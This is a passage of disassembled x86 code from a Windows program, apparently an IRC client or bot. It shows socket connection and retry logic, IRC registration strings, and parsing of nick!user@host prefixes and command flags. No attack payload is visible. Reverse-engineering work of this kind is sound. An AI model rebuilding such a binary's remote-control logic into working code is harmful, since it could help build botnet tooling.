[esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_4017EE push eax push offset dword_449100 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F6D0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FE40 proc near ; CODE XREF: ___:004019D3j sub_401A4Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C5 sub_40FE40 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FE58 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FE58: ; CODE XREF: ___:0040FE4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FE70 proc near ; CODE XREF: sub_4013C5j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40FE70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F028 mov dword ptr [esi+11h], offset off_43F034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B68 sub_40FE70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_40204F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_410030 proc near ; CODE XREF: sub_402149j var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43A8D3 push eax mov eax, 2478h mov large fs:0, esp call sub_437B30 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_40142E mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411400 loc_410072: ; CODE XREF: sub_410030+13CAj mov al, byte_4E8E44 mov edi, dword_5118AC cmp al, bl jz loc_411400 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_41009A cmp dword ptr [ebp+1Ch], 5 jg short loc_4100A4 cmp eax, ebx jz loc_4101DE loc_41009A: ; CODE XREF: sub_410030+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_4101DE loc_4100A4: ; CODE XREF: sub_410030+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_4100B9 push eax nop call near ptr 71AB9639h loc_4100B9: ; CODE XREF: sub_410030+80j mov ecx, offset word_44AC5E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401541 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401983 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_4100E9 mov [ebp+20h], ebx loc_4100E9: ; CODE XREF: sub_410030+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_401474 mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_4493ED mov ecx, offset word_44ACD6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACD6 add eax, 1B6h push eax push offset dword_4493A4 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACD6 push edx push offset dword_449280 call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 124h push ecx push offset word_449312 mov ecx, offset word_44ACD6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACD6 add eax, 0DBh push eax push offset byte_4492C9 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACD6 add edx, 92h push edx push offset byte_44935B call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_44947F mov ecx, offset word_44ACD6 call sub_401F50 call edi mov [ebp+24h], eax loc_4101DE: ; CODE XREF: sub_410030+64j ; sub_410030+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410208 push 6 push 1 push 2 nop call near ptr 71AB3B91h push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 2850369h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410208: ; CODE XREF: sub_410030+1B4j cmp [ebp+15h], bl jnz loc_410398 mov ax, word_44932C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx nop call near ptr 71AB2B66h mov ecx, offset byte_4492C9 mov [esp+24h+arg_1E], ax call sub_4017EE push eax call sub_40188E add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jnz short loc_410288 push 2710h nop call near ptr 2850369h mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410288: ; CODE XREF: sub_410030+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h nop call near ptr 71AB951Eh mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call sub_5F76F7 add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015E1 lea ecx, [esp+3Ch+arg_408] push ecx call near ptr 71AB2BF4h nop push offset byte_448F30 mov ecx, offset byte_44935B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410357 mov ecx, offset byte_44935B call sub_4017EE mov edx, dword_4490DC push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h loc_410357: ; CODE XREF: sub_410030+305j mov ecx, offset byte_4E8E45 call sub_4017EE push eax mov ecx, offset byte_4E8E45 call sub_4017EE push eax mov eax, dword_4490E4 push eax mov ecx, offset byte_4E8E45 call sub_4017EE mov ecx, dword_4490E0 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E24 add esp, 1Ch jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410398: ; CODE XREF: sub_410030+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_4113F0 nop call near ptr 27F0C4Bh lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CD0 lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A9B push offset asc_444600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490E8 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_410470 push offset asc_444600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset dword_4493A4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410474 loc_410470: ; CODE XREF: sub_410030+3EAj mov [esp+20h+var_D], bl loc_410474: ; CODE XREF: sub_410030+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410496 mov byte ptr [ebp+16h], 1 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410496: ; CODE XREF: sub_410030+45Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490BC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl push 1 jz short loc_410534 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017EE push eax mov eax, dword_4490D8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410662 ; --------------------------------------------------------------------------- loc_410534: ; CODE XREF: sub_410030+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, dword_4490C0 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz loc_4106A0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4113F7 push offset asc_444600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490D8 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410667 push offset asc_444600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017EE push eax mov eax, dword_4490D8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410662: ; CODE XREF: sub_410030+4FFj call sub_401226 loc_410667: ; CODE XREF: sub_410030+5E6j cmp [ebp+16h], bl jnz loc_4113F7 mov ecx, offset byte_4493ED call sub_4017EE push eax mov ecx, offset dword_4493A4 call sub_4017EE mov ecx, dword_4490C4 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_4106A0: ; CODE XREF: sub_410030+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F8 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410722 push offset asc_444600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490FC mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410727 loc_410722: ; CODE XREF: sub_410030+69Bj mov [esp+20h+var_D], 1 loc_410727: ; CODE XREF: sub_410030+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410794 cmp [ebp+16h], bl jnz short loc_410770 mov ecx, offset byte_4493ED call sub_4017EE push eax mov ecx, offset dword_4493A4 call sub_4017EE mov edx, dword_4490C4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h loc_410770: ; CODE XREF: sub_410030+713j mov ecx, offset byte_4E8E45 call sub_4017EE push eax mov eax, dword_4490CC push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410794: ; CODE XREF: sub_410030+70Ej push offset asc_444600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490D4 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz short loc_410845 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014DD push eax call near ptr 77C47C60h nop add esp, 8 cmp eax, ebx jz short loc_41082D inc eax lea ecx, [ebp+28h] push eax call sub_4015E1 loc_41082D: ; CODE XREF: sub_410030+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410845: ; CODE XREF: sub_410030+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490D0 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_410880 mov al, byte_449804 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410884 loc_410880: ; CODE XREF: sub_410030+840j mov [esp+20h+var_D], bl loc_410884: ; CODE XREF: sub_410030+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410B91 push offset asc_444C64 ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_4108E2 mov ecx, eax call sub_402072 loc_4108E2: ; CODE XREF: sub_410030+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41090E mov ecx, eax call sub_4010BE loc_41090E: ; CODE XREF: sub_410030+8D5j push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401AAF push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410B7C loc_41096F: ; CODE XREF: sub_410030+B46j push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_410997 mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410999 ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_410030+95Aj xor esi, esi loc_410999: ; CODE XREF: sub_410030+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4109CB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4109CF ; --------------------------------------------------------------------------- loc_4109CB: ; CODE XREF: sub_410030+98Cj mov [esp+20h+var_C], ebx loc_4109CF: ; CODE XREF: sub_410030+999j push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013ED test eax, eax jz short loc_4109F2 mov byte ptr [esi+93h], 1 jmp short loc_4109F8 ; --------------------------------------------------------------------------- loc_4109F2: ; CODE XREF: sub_410030+9B7j mov [esi+93h], bl loc_4109F8: ; CODE XREF: sub_410030+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A13 mov byte ptr [esi+94h], 1 jmp short loc_410A19 ; --------------------------------------------------------------------------- loc_410A13: ; CODE XREF: sub_410030+9D8j mov [esi+94h], bl loc_410A19: ; CODE XREF: sub_410030+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A34 mov byte ptr [esi+95h], 1 jmp short loc_410A3A ; --------------------------------------------------------------------------- loc_410A34: ; CODE XREF: sub_410030+9F9j mov [esi+95h], bl loc_410A3A: ; CODE XREF: sub_410030+A02j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FDC lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_448F30 lea ecx, [esi+54h] call sub_4015E1 push offset byte_448F30 lea ecx, [esi+3Fh] call sub_4015E1 push offset asc_444600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FDC lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017EE push eax mov ecx, esi call sub_4015E1 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DFC cmp esi, ebx jz short loc_410B29 push 1 mov ecx, esi call sub_4019E2 loc_410B29: ; CODE XREF: sub_410030+AEEj mov ecx, [esp+20h+var_C] call sub_4013DE inc edi push offset asc_4445EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41096F loc_410B7C: ; CODE XREF: sub_410030+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410B91: ; CODE XREF: sub_410030+86Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490C8 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410EAB push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410C0B mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410C0D ; --------------------------------------------------------------------------- loc_410C0B: ; CODE XREF: sub_410030+BCEj xor esi, esi loc_410C0D: ; CODE XREF: sub_410030+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410C3C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410C3E ; --------------------------------------------------------------------------- loc_410C3C: ; CODE XREF: sub_410030+BFFj xor edi, edi loc_410C3E: ; CODE XREF: sub_410030+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013ED test eax, eax jz short loc_410C60 mov byte ptr [esi+95h], 1 jmp short loc_410C66 ; --------------------------------------------------------------------------- loc_410C60: ; CODE XREF: sub_410030+C25j mov [esi+95h], bl loc_410C66: ; CODE XREF: sub_410030+C2Ej push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410C81 mov byte ptr [esi+93h], 1 jmp short loc_410C87 ; --------------------------------------------------------------------------- loc_410C81: ; CODE XREF: sub_410030+C46j mov [esi+93h], bl loc_410C87: ; CODE XREF: sub_410030+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410CA2 mov byte ptr [esi+94h], 1 jmp short loc_410CA8 ; --------------------------------------------------------------------------- loc_410CA2: ; CODE XREF: sub_410030+C67j mov [esi+94h], bl loc_410CA8: ; CODE XREF: sub_410030+C70j push offset asc_444C64 ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016B8 push offset asc_444C58 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FDC lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C58 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016B8 push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FDC lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset a@ ; "@" lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016B8 push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FDC mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FDC lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C54 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410E7D add eax, 2 push eax jmp short loc_410E82 ; --------------------------------------------------------------------------- loc_410E7D: ; CODE XREF: sub_410030+E45j push offset byte_448F30 loc_410E82: ; CODE XREF: sub_410030+E4Bj mov ecx, esi call sub_4015E1 push ebx push esi mov ecx, edi call sub_401DFC cmp esi, ebx jz short loc_410E9F push 1 mov ecx, esi call sub_4019E2 loc_410E9F: ; CODE XREF: sub_410030+E64j mov ecx, edi call sub_4013DE jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410EAB: ; CODE XREF: sub_410030+BADj push offset asc_444600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490EC mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411080 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_444600 ; " " push 3 push edx call 